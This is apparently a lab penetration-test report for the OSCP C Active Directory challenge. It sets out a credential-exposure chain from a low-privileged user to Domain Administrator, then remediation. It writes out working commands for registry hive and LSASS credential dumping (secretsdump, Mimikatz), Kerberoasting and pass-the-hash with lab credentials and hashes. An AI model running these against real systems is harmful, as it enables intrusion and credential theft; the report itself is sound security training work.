Executive Summary

At the request of Offensive Security, an internal Active Directory assessment was performed against the OSCP C challenge lab environment.

The assessment began from an assumed breach position using a provided low-privileged domain account. From that starting point, the tester was able to access a domain-joined workstation, identify exposed administrative tooling, recover local administrator credentials, move laterally across additional systems, and ultimately obtain Domain Administrator credentials.

The environment allowed a single compromised user account to become a full domain compromise through a chain of credential exposure, weak account hygiene, and insufficient protection of administrative access.

Key Takeaways

A low-privileged domain account was able to access internal systems through WinRM.
A custom administrative executable exposed a local administrator password.
Service accounts were configured in a way that allowed Kerberoasting.
PowerShell history contained sensitive credential material.
Domain Administrator credentials were recoverable from memory.
The tester was able to authenticate to the domain controller and retrieve the final proof.

Environment Overview

The assessment was conducted against a small Active Directory environment within the OffSec OSCP C challenge lab. The environment consisted of three Windows systems joined to the OSCP.EXAM domain:

DC01 at 10.10.62.152
MS01 at 10.10.62.153
MS02 at 10.10.62.154

The tester began with valid domain credentials for the user Eric.Wallows:EricLikesRunning800. The objective was to determine whether the initial access could be expanded into broader system or domain compromise.

Methodology

The assessment followed a practical internal penetration testing methodology.

The tester began by validating access to the environment using the provided domain credentials. After confirming WinRM access to MS01, local enumeration was performed to identify users, files, privileges, and potential credential exposure.

During enumeration, a custom executable named admintool.exe was discovered in the compromised user’s profile. Static analysis of the binary revealed a likely local administrator password. This credential was then validated against MS01 and used to obtain local administrator access.

With administrative access established on MS01, the tester extracted local registry hives and used Impacket to recover local password hashes, cached domain logon data, and LSA secrets. Additional Active Directory enumeration identified service accounts with SPNs, allowing Kerberoasting attempts against sql_svc and web_svc.

Further enumeration of PowerShell history on MS01 revealed another administrator password used with the same administrative tool. This password was valid on MS02 and allowed lateral movement to the second workstation.

On MS02, the tester extracted additional registry hives and then used Mimikatz to inspect credential material in memory. This revealed the NTLM hash for the domain Administrator account. The recovered hash was then used to authenticate to DC01 and complete the compromise.

Steps to Compromise

1. Initial Access to MS01

The tester began with valid domain credentials for Eric.Wallows.

Using Evil-WinRM, the tester authenticated to MS01:

evil-winrm -i 10.10.62.153 -u Eric.Wallows -p 'EricLikesRunning800'

[Screenshot: Successful Evil-WinRM login to MS01 as Eric.Wallows]

Once connected, the tester enumerated the user directories on the system:

tree /F /A C:\Users

This revealed several user profiles, including:

Administrator
celia.almeda
eric.wallows
Mary.Williams
support
web_svc

A custom executable named admintool.exe was also discovered in the eric.wallows profile.

[Screenshot: User directory tree showing admintool.exe in Eric.Wallows profile]

2. Local User and Privilege Enumeration

The tester reviewed the current user context:

whoami /all

The user was a standard domain user with membership in Remote Management Users, which explained the successful WinRM access. No immediate high-risk privilege such as SeImpersonatePrivilege was identified for this user.

[Screenshot: whoami /all output for OSCP\Eric.Wallows]

At this point, the focus shifted from privilege abuse to file and credential discovery.

3. Analysis of admintool.exe

The tester downloaded admintool.exe from MS01 and inspected it locally.

file admintool.exe

The file was identified as a 64-bit Windows executable.

The tester then used strings to inspect readable text within the binary:

strings admintool.exe

The output revealed several important strings, including:

administratorDecember31
Enter administrator password:
Wrong administrator password!
Executing command as administrator
admintoolcmd

[Screenshot: strings output showing administratorDecember31 inside admintool.exe]

The string administratorDecember31 appeared to contain both a username and password pattern. The tester interpreted this as a likely reference to the local Administrator account and the password December31.

4. Validating Local Administrator Credentials on MS01

The tester validated the suspected password using NetExec:

nxc smb 10.10.62.153 -u 'Administrator' -p 'December31' --local-auth

The authentication succeeded and showed administrative access on MS01.

[Screenshot: NetExec output showing MS01\Administrator:December31 successful authentication]

The tester then authenticated to MS01 with Evil-WinRM using the recovered local administrator credentials:

evil-winrm -i 10.10.62.153 -u Administrator -p 'December31'

[Screenshot: Successful Evil-WinRM login to MS01 as local Administrator]

5. Dumping Registry Hives from MS01

With local administrator access on MS01, the tester saved the registry hives:

reg save HKLM\SYSTEM SYS
reg save HKLM\SECURITY SEC
reg save HKLM\SAM SAM

The hives were downloaded to the attacker machine:

download SAM SEC SYS

[Screenshot: Successful registry hive export and download from MS01]

The tester then used secretsdump.py to extract credential material:

secretsdump.py -sam SAM -security SEC -system SYS LOCAL

This produced local SAM hashes, cached domain logon information, and LSA secrets.

Notable recovered data included:

Local Administrator hash
Local user hashes for Mary.Williams and support
Cached domain logons for:
- OSCP.EXAM\eric.wallows
- OSCP.EXAM\Administrator
- OSCP.EXAM\web_svc
A default password value

[Screenshot: secretsdump output from MS01 showing local hashes and cached domain logons]

6. Kerberoasting Service Accounts

Using the original Eric.Wallows domain credentials, the tester requested Kerberos service tickets for accounts with registered SPNs:

GetUserSPNs.py OSCP.exam/Eric.Wallows:EricLikesRunning800 -dc-ip 10.10.62.152 -request

The output identified two service accounts:

sql_svc with SPN MSSQL/MS02.oscp.exam
web_svc with SPN HTTP/MS01.oscp.exam

[Screenshot: GetUserSPNs output showing sql_svc and web_svc service accounts]

This confirmed that the environment contained Kerberoastable service accounts. The recovered TGS hashes could be taken offline and attempted against a wordlist.

7. PowerShell History Credential Discovery on MS01

While enumerating MS01 as local Administrator, the tester reviewed the PowerShell history file:

type $env:APPDATA\Microsoft\Windows\PowerShell\Post_history.txt

The history contained commands referencing admintool.exe and exposed another password:

C:\users\support\admintool.exe hghgib6vHT3bVWf cmd
C:\users\support\admintool.exe cmd
shutdown /r /t 7

[Screenshot: PowerShell history showing admintool.exe usage and exposed password]

The value hghgib6vHT3bVWf was treated as another administrative password candidate.

8. Lateral Movement to MS02

The tester attempted to authenticate to MS02 using the newly discovered password:

evil-winrm -i 10.10.62.154 -u Administrator -p 'hghgib6vHT3bVWf'

The login succeeded, confirming that the credential was valid for local Administrator access on MS02.

[Screenshot: Successful Evil-WinRM login to MS02 as local Administrator]

This represented lateral movement from MS01 to MS02 using credentials exposed in command history.

9. Dumping Registry Hives from MS02

With local administrator access on MS02, the tester again saved the registry hives:

reg save HKLM\SYSTEM system
reg save HKLM\SECURITY security
reg save HKLM\SAM sam

The hives were downloaded:

download sam
download system
download security

[Screenshot: Registry hive export and download from MS02]

The tester then ran secretsdump.py:

secretsdump.py -sam sam -security security -system system LOCAL

The output revealed local hashes, cached domain logon data, LSA secrets, and another default password value.

Notable recovered data included:

Local Administrator hash for MS02
Cached domain logons for:
- OSCP.EXAM\celia.almeda
- OSCP.EXAM\Administrator
A default password value

[Screenshot: secretsdump output from MS02 showing local hashes and cached domain logons]

10. Credential Dumping from Memory on MS02

The tester uploaded Mimikatz to MS02 and executed it from an administrative shell.

.\mimikatz.exe

After enabling debug privileges:

privilege::debug

The tester dumped logon credentials:

sekurlsa::logonpasswords

The output revealed an active logon session for the domain Administrator account and exposed the NTLM hash:

Username : Administrator
Domain   : OSCP
NTLM     : 59b280ba707d22e3ef0aa587fc29ffe5

[Screenshot: Mimikatz output showing OSCP Administrator NTLM hash]

This was the critical credential needed for domain-level compromise.

11. Domain Controller Access and Proof Retrieval

Using the recovered NTLM hash, the tester authenticated to DC01 with Evil-WinRM:

evil-winrm -i 10.10.62.152 -u Administrator -H 59b280ba707d22e3ef0aa587fc29ffe5

The login succeeded.

The tester navigated to the Administrator desktop and retrieved the proof file:

cd C:\Users\Administrator\Desktop
dir
cat proof.txt

[Screenshot: Successful Evil-WinRM login to DC01 and proof.txt retrieval]

This confirmed full domain compromise.

Key Findings

Finding #1: Hardcoded Administrative Password Exposed in Custom Executable

Severity: Critical
Affected System: MS01
Affected Account: Local Administrator

Description

A custom executable named admintool.exe was discovered in the Eric.Wallows user profile on MS01. Static analysis of the binary revealed a readable string that exposed a likely local Administrator password.

Impact

The exposed password allowed the tester to authenticate as the local Administrator account on MS01. This immediately elevated access from a low-privileged domain user to full administrative control over the workstation.

Once administrative access was obtained, the tester was able to dump registry hives and extract additional credential material.

Evidence

admintool.exe was present in the Eric.Wallows user profile.
strings admintool.exe revealed administratorDecember31.
The password December31 successfully authenticated as local Administrator on MS01.

Remediation

Never store hardcoded passwords in binaries, scripts, or administrative tools.
Remove or secure custom administrative utilities from user-accessible directories.
Rotate any credentials exposed through binaries or command-line tooling.
Review internally developed tools for embedded secrets before deployment.
Use privileged access management instead of static shared administrator credentials.

Finding #2: Weak Service Account Configuration Susceptible to Kerberoasting

Severity: High
Affected Systems: Domain-wide
Affected Accounts: sql_svc, web_svc

Description

The domain contained service accounts with registered Service Principal Names. These accounts were Kerberoastable, meaning a valid domain user could request service tickets and attempt to crack the account passwords offline.

Impact

If the service account passwords are weak or reused, an attacker can recover plaintext credentials offline without generating repeated login failures. Compromised service accounts often provide access to applications, databases, file shares, or additional systems.

Evidence

The tester used GetUserSPNs.py and identified:

sql_svc associated with MSSQL/MS02.oscp.exam
web_svc associated with HTTP/MS01.oscp.exam

Remediation

Use long, complex, randomly generated passwords for service accounts.
Prefer Group Managed Service Accounts where possible.
Limit service account privileges to only what is required.
Rotate service account passwords regularly.
Monitor for abnormal Kerberos ticket requests.

Finding #3: Sensitive Credentials Exposed in PowerShell History

Severity: Critical
Affected System: MS01
Affected Account: Local Administrator on MS02

Description

The PowerShell history file on MS01 contained commands that exposed a password used with admintool.exe. This credential was later validated as local Administrator access on MS02.

Impact

Command history exposure allowed the tester to recover a valid administrative password and move laterally to another workstation. This bypassed the need for additional exploitation and significantly accelerated the compromise path.

Evidence

The following command was found in PowerShell history:

C:\users\support\admintool.exe hghgib6vHT3bVWf cmd

The password was successfully used to authenticate to MS02 as local Administrator.

Remediation

Avoid entering passwords directly on the command line.
Clear sensitive shell history from administrative systems.
Disable or restrict PowerShell history where appropriate.
Use secure credential handling methods.
Rotate exposed passwords immediately.
Monitor for sensitive strings in command history and scripts.

Finding #4: Local Registry Hives Contained Reusable Credential Material

Severity: High
Affected Systems: MS01, MS02

Description

Administrative access to MS01 and MS02 allowed the tester to export local registry hives and extract sensitive credential material with secretsdump.py.

The extracted data included local account hashes, cached domain logon data, LSA secrets, machine account data, and default password values.

Impact

Credential material recovered from registry hives can support offline cracking, pass-the-hash attacks, lateral movement, and additional domain enumeration. Cached domain logons also reveal which domain users have accessed a system, helping attackers prioritize targets.

Evidence

The tester exported the following hives from MS01 and MS02:

reg save HKLM\SYSTEM
reg save HKLM\SECURITY
reg save HKLM\SAM

The hives were processed with:

secretsdump.py -sam SAM -security SEC -system SYS LOCAL

Remediation

Limit local administrator access to only approved administrative users.
Use Microsoft LAPS or Windows LAPS to randomize local administrator passwords.
Reduce cached domain logons where operationally feasible.
Monitor for registry hive export activity.
Restrict access to credential-sensitive system areas.
Rotate credentials after suspected administrative compromise.

Finding #5: Domain Administrator Credentials Present in Memory

Severity: Critical
Affected System: MS02
Affected Account: Domain Administrator

Description

Mimikatz was used on MS02 to dump credential material from memory. The output revealed an active logon session for the domain Administrator account and exposed the account’s NTLM hash.

Impact

The recovered NTLM hash allowed the tester to perform pass-the-hash authentication to DC01. This resulted in full compromise of the Active Directory domain.

With Domain Administrator access, an attacker could create accounts, reset passwords, deploy malware, exfiltrate sensitive data, alter Group Policy, disable security tooling, or maintain long-term persistence.

Evidence

Mimikatz revealed the NTLM hash for the domain Administrator account:

Username : Administrator
Domain   : OSCP
NTLM     : 59b280ba707d22e3ef0aa587fc29ffe5

The hash was successfully used to authenticate to DC01 with Evil-WinRM.

Remediation

Do not log into workstations with Domain Administrator accounts.
Restrict Domain Administrator use to domain controllers only.
Implement tiered administration.
Enable Credential Guard where supported.
Use Protected Users group for highly privileged accounts where appropriate.
Monitor for credential dumping tools and LSASS access.
Rotate Domain Administrator credentials after exposure.

Attack Path Summary

The compromise path followed this chain:

The tester authenticated to MS01 using provided credentials for Eric.Wallows.
Enumeration revealed admintool.exe in the user profile.
Static analysis of admintool.exe exposed the password December31.
The tester used December31 to authenticate as local Administrator on MS01.
Registry hives were dumped from MS01 and processed with secretsdump.py.
Kerberoastable service accounts were identified using GetUserSPNs.py.
PowerShell history on MS01 exposed another password: hghgib6vHT3bVWf.
The tester used that password to authenticate as local Administrator on MS02.
Registry hives were dumped from MS02.
Mimikatz was used on MS02 to recover the Domain Administrator NTLM hash from memory.
The recovered hash was used to authenticate to DC01.
The tester retrieved proof.txt, confirming full domain compromise.

Impact

The assessment demonstrated that a single low-privileged domain account could be expanded into full control of the Active Directory domain.

The most significant risk came from credential exposure across multiple layers of the environment. Passwords were present in a custom executable, command history, registry hives, and memory. Each discovery created another step forward in the attack path until the domain Administrator hash was recovered.

Once the domain Administrator hash was obtained, there were effectively no meaningful restrictions left. An attacker with this level of access could control domain systems, access sensitive data, modify security policies, create persistence, disable defenses, or deploy ransomware.

This compromise path did not require advanced exploitation. It relied primarily on enumeration, credential discovery, weak credential handling, and reuse of administrative access.

Remediation Notes

The primary focus should be reducing credential exposure and limiting the usefulness of any single compromised account.

First, administrative credentials should never be stored in binaries, scripts, command history, or other user-accessible locations. Any credential that has appeared in these locations should be considered compromised and rotated immediately.

Second, local administrator passwords should be unique per machine. A solution such as Windows LAPS should be used to prevent credential reuse between workstations.

Third, privileged domain accounts should not be used to log into standard workstations. Domain Administrator sessions on workstations create a high-risk condition where credential material can be recovered from memory if the host is compromised.

Fourth, service accounts should be reviewed and hardened. Accounts with SPNs should use long, complex passwords or managed service accounts to reduce Kerberoasting risk.

Finally, monitoring should be improved around behaviors such as registry hive exports, LSASS access, unusual WinRM logins, and Kerberos service ticket requests. These activities are strong indicators of credential access and lateral movement.

Conclusion

The OSCP C Active Directory set demonstrated a realistic internal compromise path where one valid user account led to complete domain compromise.

The path was not built around a single exploit. It was built around the kinds of issues that show up often in real environments: exposed credentials, administrative shortcuts, reused passwords, service account risk, and privileged sessions on workstations.

The biggest lesson from this lab is that Active Directory compromise is often cumulative. Each small exposure may look manageable in isolation, but together they can create a direct path from initial access to full domain control.